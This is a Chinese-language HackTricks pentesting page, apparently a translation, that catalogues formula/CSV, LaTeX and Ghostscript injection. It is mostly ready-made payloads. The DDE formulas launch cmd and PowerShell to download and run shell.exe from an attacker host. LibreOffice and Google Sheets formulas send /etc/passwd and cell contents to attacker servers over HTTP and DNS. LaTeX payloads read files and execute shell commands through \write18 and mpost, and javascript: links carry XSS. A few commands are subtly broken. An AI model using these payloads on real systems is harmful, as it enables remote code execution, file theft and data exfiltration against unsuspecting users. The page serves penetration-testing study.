hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

11 KiB
Raw Blame History

公式/CSV/文档/LaTeX/GhostScript注入

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

支持HackTricks的其他方式

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}


公式注入

信息

如果您的输入反射CSV文件(或任何可能被Excel打开的文件您可能可以放置Excel公式,当用户打开文件或用户在Excel表格中点击某个链接时,这些公式将被执行

{% hint style="danger" %} 现在Excel会警告多次用户当从Excel外部加载内容时以防止用户进行恶意操作。因此必须对最终有效载荷应用特别的社会工程学技巧。 {% endhint %}

字典

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

超链接

以下示例非常有用可用于从最终的Excel表中窃取内容并向任意位置发出请求。但需要用户点击链接并接受警告提示

以下示例摘自https://payatu.com/csv-injection-basic-to-exploit

想象一下通过CSV注入攻击利用了学生记录管理系统中的安全漏洞。攻击者的主要目的是破坏教师用于管理学生详细信息的系统。该方法涉及攻击者将恶意有效载荷注入到应用程序中具体方法是在用于学生详细信息的字段中输入有害公式。攻击过程如下

  1. 注入恶意有效载荷:
  • 攻击者提交学生详细信息表单,但包含一种在电子表格中常用的公式(例如,=HYPERLINK("<malicious_link>","Click here"))。
  • 此公式旨在创建一个超链接,但指向攻击者控制的恶意服务器。
  1. 导出受损数据:
  • 教师们不知情地使用应用程序的功能将数据导出到CSV文件中。
  • 当打开CSV文件时仍然包含恶意有效载荷。此有效载荷在电子表格中显示为可点击的超链接。
  1. 触发攻击:
  • 教师点击超链接,认为它是学生详细信息的合法部分。
  • 点击后,敏感数据(可能包括电子表格或教师计算机中的详细信息)被传输到攻击者的服务器。
  1. 记录数据:
  • 攻击者的服务器接收并记录从教师计算机发送的敏感数据。
  • 攻击者随后可以利用这些数据进行各种恶意目的,进一步危及学生和机构的隐私和安全。

RCE

查看 原始帖子 以获取更多详细信息。

在特定配置或较旧版本的Excel中可以利用称为动态数据交换DDE的功能来执行任意命令。要利用此功能必须启用以下设置

  • 转到“文件”→“选项”→“信任中心”→“信任中心设置”→“外部内容”,并启用动态数据交换服务器启动

当打开包含恶意有效载荷的电子表格(如果用户接受警告)时,将执行有效载荷。例如,要启动计算器应用程序,有效载荷将是:

`=cmd|' /C calc'!xxx`

附加命令也可以被执行,比如使用 PowerShell 下载并执行文件:

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

LibreOffice Calc中的本地文件包含LFI

LibreOffice Calc可用于读取本地文件并外泄数据。以下是一些方法

  • 从本地 /etc/passwd 文件中读取第一行:='file:///etc/passwd'#$passwd.A1
  • 将读取的数据外泄到攻击者控制的服务器:=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
  • 外泄多行数据:=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • DNS外泄将读取的数据作为DNS查询发送到攻击者控制的DNS服务器=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))

用于带外OOB数据外泄的Google Sheets

Google Sheets提供可用于带外数据外泄的函数

  • CONCATENATE:将字符串连接在一起 - =CONCATENATE(A2:E2)
  • IMPORTXML:从结构化数据类型导入数据 - =IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
  • IMPORTFEED导入RSS或ATOM源 - =IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
  • IMPORTHTML从HTML表格或列表导入数据 - =IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
  • IMPORTRANGE:从另一个电子表格导入一系列单元格 - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
  • IMAGE:将图像插入单元格 - =IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")

LaTeX注入

通常在互联网上找到的将LaTeX代码转换为PDF的服务器使用**pdflatex**。

该程序使用3个主要属性来禁止允许命令执行

  • --no-shell-escape禁用 \write18{command} 结构即使在texmf.cnf文件中启用也是如此。
  • --shell-restricted:与--shell-escape相同,但仅限于一组“安全”的预定义**命令(**在Ubuntu 16.04中,列表位于/usr/share/texmf/web2c/texmf.cnf中)。
  • --shell-escape启用 \write18{command} 结构。命令可以是任何shell命令。出于安全原因通常禁止此结构。

然而还有其他执行命令的方法因此为了避免RCE非常重要的是使用--shell-restricted

读取文件

您可能需要使用包装器(如[或$)调整注入。

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

读取单行文件

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

读取多行文件

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

写入文件

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

命令执行

命令的输入将被重定向到 stdin使用临时文件来获取它。

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

如果遇到任何LaTex错误请考虑使用base64来获取结果以避免出现不良字符。

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

跨站脚本攻击

来自@EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Ghostscript注入

检查 https://blog.redteam-pentesting.de/2023/ghostscript-overview/

参考资料

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

从零开始学习AWS黑客技术成为专家 htARTE (HackTricks AWS Red Team Expert)!

支持HackTricks的其他方式